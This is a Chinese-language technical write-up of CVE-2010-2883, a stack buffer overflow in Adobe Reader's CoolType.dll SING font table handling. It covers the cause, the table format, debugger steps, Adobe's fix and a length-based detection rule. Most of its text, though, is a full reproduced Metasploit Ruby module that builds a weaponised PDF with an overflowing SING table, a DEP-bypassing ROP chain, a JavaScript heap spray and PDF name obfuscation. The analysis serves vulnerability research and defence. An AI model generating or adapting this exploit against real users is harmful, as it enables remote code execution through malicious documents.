Adobe Reader 缓冲区溢出漏洞 (CVE-2010-2883)

×
 
 
一.
简介
 
 
软件名称:Adobe Reader
影响范围:7.0.0-9.3.4版本
影响平台:Windows
漏洞模块:CoolType.dll
威胁等级:高危
漏洞类型:缓冲区溢出
威胁路径:远程
机密性影响:完全的信息泄露导致所有系统文件暴露
完整性影响:系统完整性可被完全破坏
可用性影响:可能导致系统完全宕机
攻击复杂度:漏洞利用存在一定的访问条件
攻击向量:攻击者不需要获取内网访问权或本地访问权
身份认证:漏洞利用无需身份认证
 
×
 
 
二. 软件介绍
 
Adobe Reader(也被称为Acrobat Reader)是美国Adobe公司开发的一款优秀的PDF文件阅读软件。文档的撰写者可以向任何人分发自己制作(通过Adobe Acrobat制作)的PDF文档而不用担心被恶意篡改。
 
×
 
 
三. 漏洞成因
 
 
Adobe Reader的CollType.dll中存在基于栈的缓冲区溢出漏洞,远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务。
具体成因为Adobe Reader在调用strcat时,没有判断uniqueName字段的字符串长度,直接复制到固定大小的栈空间中,导致溢出。
使用IDA pro直接在CoolType.dll寻找SING表,即可直接观察其溢出漏洞的位置:

 
×
 
 
四. 漏洞分析
 
 
4.1格式分析
4.1.1 TableEntry结构在官方文档中的定义如下:
1
2
3
4
5
6
7
Typedef struct_SING
{
Char tag[4];   //SING字符串
ULONG checkSum;    //校验和
ULONG offset;  //相对文件偏移
ULONG length;  //数据长度
}
4.1.2 在该样本中,SING表的形态
1
2
3
4
Char tag[4];    //53 49 4E 47
ULONG checkSum; //D9 BC C8 B5
ULONG offset;  //00 00 01 1C
ULONG length;  //00 00 1D DF

 
根据上图可以看出,在TableEntry结构入口处偏移0x11c,就是SING表的真实数据,其长度为0x1DDF。然后再偏移0x10就是uniqueName域了。
 

4.1.3 uniqueName域

在执行strcat函数后,会将SING表的内容部分拷贝至ebp的地址,直到遇到NULL,在我调试时,该地址为0x0012e454,但是该地址并不固定。根据下图,可以看出在exp触发后ebp的地址内所存储的,正是SING表的真实数据。
 

 
 

4.2 漏洞调试

4.2.1利用IDA pro查看溢出函数的位置

 

 

4.2.2打开Immunity Debugger附加程序,并且运行至程序领空,转至溢出函数的位置,按下F2设置断点。再用Adobe Reader打开poc.pdf,那么就可以看到程序触发异常停止在了我设置断点的位置上了。

4.2.3可以看出在执行完strcat之后,SING表uniqueName域的数据就已经拷贝到了栈中。

 
 

4.2.4 总结一下,如果是xp系统,那么在SING表的uniqueName域内构造shellcode,就可以在触发漏洞后直接执行代码,如果是win7以后的windows版本,则需要rop技术,绕过相关保护.因为PDF支持JavaScript的缘故,故此,我们可以使用heap spray技术,精准的对溢出进行利用。

×
 
 

五. 厂商修复手段

 
 
 
添加了字符串长度的检测和限制,自己模拟了一个安全strcat函数替代原有的strcat函数,该函数限制字符串长度需要小于260个字符,同时根据字符串长度进行动态内存分配。
×
 
 

六. 检测方法

 
 
 
析文件格式,在Object中定位到SING表后,根据官方文档提供的格式对其进行解析,判断字符串长度,如果长于官方预定的260字节,则可怀疑其在利用CVE-2010-2883进行溢出
×
 
 

七. Exploit

 
使用的exploit由Exploit-db下载,使用ruby编写。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
##
# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'zlib'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           ='Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
            'Description'    =%q{
                    This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
                handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
                assumed to be vulnerable as well.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Unknown',    # 0day found in the wild
                    '@sn0wfl0w',  # initial analysis
                    '@vicheck',   # initial analysis
                    'jduck'       # Metasploit module
                ],
            'Version'        ='$Revision: 10477 $',
            'References'     =>
                [
                    'CVE''2010-2883' ],
                    'OSVDB''67849'],
                    'URL''http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
                    'URL''http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC'             ='process',
                    'InitialAutoRunScript' ='migrate -f',
                    'DisablePayloadHandler' ='true',
                },
            'Payload'        =>
                {
                    'Space'    =1000,
                    'BadChars' ="\x00",
                    'DisableNops' => true
                },
            'Platform'       ='win',
            'Targets'        =>
                [
                    # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
                    # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
                    'Automatic', { }],
                ],
            'DisclosureDate' ='Sep 07 2010',
            'DefaultTarget'  =0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
            ], self.class)
    end
 
    def exploit
        ttf_data = make_ttf()
 
        js_data = make_js(payload.encoded)
 
        # Create the pdf
        pdf = make_pdf(ttf_data, js_data)
 
        print_status("Creating '#{datastore['FILENAME']}' file...")
 
        file_create(pdf)
    end
 
    def make_ttf
        ttf_data = ""
 
        # load the static ttf file
 
        # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
        path = File.join( Msf::Config.install_root, "data""exploits""cve-2010-2883.ttf" )
        fd = File.open( path, "rb" )
        ttf_data = fd.read(fd.stat.size)
        fd.close
 
        # Build the SING table
        sing = ''
        sing << [
            01,   # tableVersionMajor, tableVersionMinor (0.1)
            0xe01,  # glyphletVersion
            0x100,  # embeddingInfo
            0,      # mainGID
            0,      # unitsPerEm
            0,      # vertAdvance
            0x3a00  # vertOrigin
        ].pack('vvvvvvvv')
        # uniqueName
        # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
        #sing << "A" * (0x254 - sing.length)
        sing << rand_text(0x254 - sing.length)
 
        # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
        sing[0x1404= [0x4a8a08e2 - 0x1c].pack('V')
 
        # This becomes our new EIP (puts esp to stack buffer)
        ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
        sing[0x2084= [ret].pack('V')
 
        # This becomes the new eip after the first return
        ret = 0x4a82a714
        sing[0x184= [ret].pack('V')
 
        # This becomes the new esp after the first return
        esp = 0x0c0c0c0c
        sing[0x1c4= [esp].pack('V')
 
        # Without the following, sub_801ba57 returns 0.
        sing[0x24c4= [0x6c].pack('V')
 
        ttf_data[0xec4= "SING"
        ttf_data[0x11c, sing.length] = sing
 
        ttf_data
    end
 
    def make_js(encoded_payload)
 
        # The following executes a ret2lib using icucnv36.dll
        # The effect is to bypass DEP and execute the shellcode in an indirect way
        stack_data = [
            0x41414141,   # unused
            0x4a8063a5,   # pop ecx / ret
            0x4a8a0000,   # becomes ecx
 
            0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as
 
            0x4a801f90,   # pop eax / ret
            0x4a84903c,   # becomes eax (import for CreateFileA)
 
            # -- call CreateFileA
            0x4a80b692,   # jmp [eax]
 
            0x4a801064,   # ret
 
            0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
            0x10000000,   # second arg  - dwDesiredAccess
            0x00000000,   # third arg   - dwShareMode
            0x00000000,   # fourth arg  - lpSecurityAttributes
            0x00000002,   # fifth arg   - dwCreationDisposition
            0x00000102,   # sixth arg   - dwFlagsAndAttributes
            0x00000000,   # seventh arg - hTemplateFile
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x00000008,   # becomes ebx - offset to modify
 
            #
            # This points at a neat-o block of code that ... TBD
            #
            #   and [esp+ebx*2],edi
            #   jne check_slash
            # ret_one:
            #   mov al,1
            #   ret
            # check_slash:
            #   cmp al,0x2f
            #   je ret_one
            #   cmp al,0x41
            #   jl check_lower
            #   cmp al,0x5a
            #   jle check_ptr
            # check_lower:
            #   cmp al,0x61
            #   jl ret_zero
            #   cmp al,0x7a
            #   jg ret_zero
            #   cmp [ecx+1],0x3a
            #   je ret_one
            # ret_zero:
            #   xor al,al
            #   ret
            #
 
            0x4a80a8a6,   # execute fun block
 
            0x4a801f90,   # pop eax / ret
            0x4a849038,   # becomes eax (import for CreateFileMappingA)
 
            # -- call CreateFileMappingA
            0x4a80b692,   # jmp [eax]
 
            0x4a801064,   # ret
 
            0xffffffff,   # arguments to CreateFileMappingA, hFile
            0x00000000,   # lpAttributes
            0x00000040,   # flProtect
            0x00000000,   # dwMaximumSizeHigh
            0x00010000,   # dwMaximumSizeLow
            0x00000000,   # lpName
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x00000008,   # becomes ebx - offset to modify
 
            0x4a80a8a6,   # execute fun block
 
            0x4a801f90,   # pop eax / ret
            0x4a849030,   # becomes eax (import for MapViewOfFile
 
            # -- call MapViewOfFile
            0x4a80b692,   # jmp [eax]
 
            0x4a801064,   # ret
 
            0xffffffff,   # args to MapViewOfFile - hFileMappingObject
            0x00000022,   # dwDesiredAccess
            0x00000000,   # dwFileOffsetHigh
            0x00000000,   # dwFileOffsetLow
            0x00010000,   # dwNumberOfBytesToMap
 
            0x4a8063a5,   # pop ecx / ret
            0x4a8a0004,   # becomes ecx - writable pointer
 
            0x4a802196,   # mov [ecx],eax / ret - save map base addr
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x00000030,   # becomes ebx - offset to modify
 
            0x4a80a8a6,   # execute fun block
 
            0x4a801f90,   # pop eax / ret
            0x4a8a0004,   # becomes eax - saved file mapping ptr
 
            0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x00000020,   # becomes ebx - offset to modify
 
            0x4a80a8a6,   # execute fun block
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret
 
            0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
 
            0x4a801f90,   # pop eax / ret
            0x00000034,   # becomes eax
 
            0x4a80d585,   # add eax,edx / ret
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x0000000a,   # becomes ebx - offset to modify
 
            0x4a80a8a6,   # execute fun block
 
            0x4a801f90,   # pop eax / ret
            0x4a849170,   # becomes eax (import for memcpy)
 
            # -- call memcpy
            0x4a80b692,   # jmp [eax]
 
            0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
            0xffffffff,   # becomes first arg to memcpy (dst)
            0xffffffff,   # becomes second arg to memcpy (src)
            0x00001000,   # becomes third arg to memcpy (length)
            #0x0000258b,   # ??
            #0x4d4d4a8a,   # ??
        ].pack('V*')
 
        var_unescape  = rand_text_alpha(rand(100+ 1)
        var_shellcode = rand_text_alpha(rand(100+ 1)
 
        var_start     = rand_text_alpha(rand(100+ 1)
 
        var_s         = 0x10000
        var_c         = rand_text_alpha(rand(100+ 1)
        var_b         = rand_text_alpha(rand(100+ 1)
        var_d         = rand_text_alpha(rand(100+ 1)
        var_3         = rand_text_alpha(rand(100+ 1)
        var_i         = rand_text_alpha(rand(100+ 1)
        var_4         = rand_text_alpha(rand(100+ 1)
 
        payload_buf = ''
        payload_buf << stack_data
        payload_buf << encoded_payload
 
        escaped_payload = Rex::Text.to_unescape(payload_buf)
 
        js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
 
        js
    end
 
    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128+ 128).chr
        end
        result
    end
 
    def ioDef(id)
        "%d 0 obj \n" % id
    end
 
    def ioRef(id)
        "%d 0 R" % id
    end
 
 
    #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    def nObfu(str)
        #return str
        result = ""
        str.scan(/./u) do |c|
            if rand(2== 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                result << "#%x" % c.unpack("C*")[0]
            else
                result << c
            end
        end
        result
    end
 
 
    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3+ 1)
        end
        result << ">"
    end
 
 
    def make_pdf(ttf, js)
 
        #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
 
        xref = []
        eol = "\n"
        endobj = "endobj" << eol
 
        # Randomize PDF version?
        pdf = "%PDF-1.5" << eol
        pdf << "%" << RandomNonASCIIString(4) << eol
 
        # catalog
        xref << pdf.length
        pdf << ioDef(1) << nObfu("<<") << eol
        pdf << nObfu("/Pages ") << ioRef(2) << eol
        pdf << nObfu("/Type /Catalog") << eol
        pdf << nObfu("/OpenAction ") << ioRef(11) << eol
        # The AcroForm is required to get icucnv36.dll to load
        pdf << nObfu("/AcroForm ") << ioRef(13) << eol
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # pages array
        xref << pdf.length
        pdf << ioDef(2) << nObfu("<<") << eol
        pdf << nObfu("/MediaBox ") << ioRef(3) << eol
        pdf << nObfu("/Resources ") << ioRef(4) << eol
        pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
        pdf << nObfu("/Count 1") << eol
        pdf << nObfu("/Type /Pages") << eol
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # media box
        xref << pdf.length
        pdf << ioDef(3)
        pdf << "[0 0 595 842]" << eol
        pdf << endobj
 
        # resources
        xref << pdf.length
        pdf << ioDef(4)
        pdf << nObfu("<<") << eol
        pdf << nObfu("/Font ") << ioRef(6) << eol
        pdf << ">>" << eol
        pdf << endobj
 
        # page 1
        xref << pdf.length
        pdf << ioDef(5) << nObfu("<<") << eol
        pdf << nObfu("/Parent ") << ioRef(2) << eol
        pdf << nObfu("/MediaBox ") << ioRef(3) << eol
        pdf << nObfu("/Resources ") << ioRef(4) << eol
        pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
        pdf << nObfu("/Type /Page") << eol
        pdf << nObfu(">>") << eol # end obj dict
        pdf << endobj
 
        # font
        xref << pdf.length
        pdf << ioDef(6) << nObfu("<<") << eol
        pdf << nObfu("/F1 ") << ioRef(7) << eol
        pdf << ">>" << eol
        pdf << endobj
 
        # ttf object
        xref << pdf.length
        pdf << ioDef(7) << nObfu("<<") << eol
        pdf << nObfu("/Type /Font") << eol
        pdf << nObfu("/Subtype /TrueType") << eol
        pdf << nObfu("/Name /F1") << eol
        pdf << nObfu("/BaseFont /Cinema") << eol
        pdf << nObfu("/Widths []") << eol
        pdf << nObfu("/FontDescriptor ") << ioRef(9)
        pdf << nObfu("/Encoding /MacRomanEncoding")
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # page content
        content = "Hello World!"
        content = "" +
            "0 g" + eol +
            "BT" + eol +
            "/F1 32 Tf" + eol +
            "32 Tc" + eol +
            "1 0 0 1 32 773.872 Tm" + eol +
            "(" + content + ") Tj" + eol +
            "ET"
 
        xref << pdf.length
        pdf << ioDef(8) << "<<" << eol
        pdf << nObfu("/Length %s" % content.length) << eol
        pdf << ">>" << eol
        pdf << "stream" << eol
        pdf << content << eol
        pdf << "endstream" << eol
        pdf << endobj
 
        # font descriptor
        xref << pdf.length
        pdf << ioDef(9) << nObfu("<<")
        pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
        pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
        pdf << nObfu("/FontBBox [-177 -269 1123 866]")
        pdf << nObfu("/FontFile2 ") << ioRef(10)
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # ttf stream
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ttf)
        pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << endobj
 
        # js action
        xref << pdf.length
        pdf << ioDef(11) << nObfu("<<")
        pdf << nObfu("/Type/Action/S/JavaScript/JS "+ ioRef(12)
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # js stream
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
        pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << endobj
 
        ###
        # The following form related data is required to get icucnv36.dll to load
        ###
 
        # form object
        xref << pdf.length
        pdf << ioDef(13)
        pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol
        pdf << endobj
 
        # form stream
        xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
 
        xref << pdf.length
        pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol
        pdf << "stream" << eol
        pdf << xfa << eol
        pdf << "endstream" << eol
        pdf << endobj
 
        ###
        # end form stuff for icucnv36.dll
        ###
 
 
        # trailing stuff
        xrefPosition = pdf.length
        pdf << "xref" << eol
        pdf << "0 %d" % (xref.length + 1) << eol
        pdf << "0000000000 65535 f" << eol
        xref.each do |index|
            pdf << "%010d 00000 n" % index << eol
        end
 
        pdf << "trailer" << eol
        pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
 
        pdf << "startxref" << eol
        pdf << xrefPosition.to_s() << eol
 
        pdf << "%%EOF" << eol
        pdf
    end
 
end
 
关于作者
作者:rkvir(榴莲老师)
简介:曾任某安全企业技术总监;看雪讲师;曾任职国内多家大型安全公司;参与*2国家级安全项目
擅长:C/C++/Python/x86/x64汇编/系统原理&
研究方向:二进制漏洞/FUZZ/Windows内核安全/内网攻防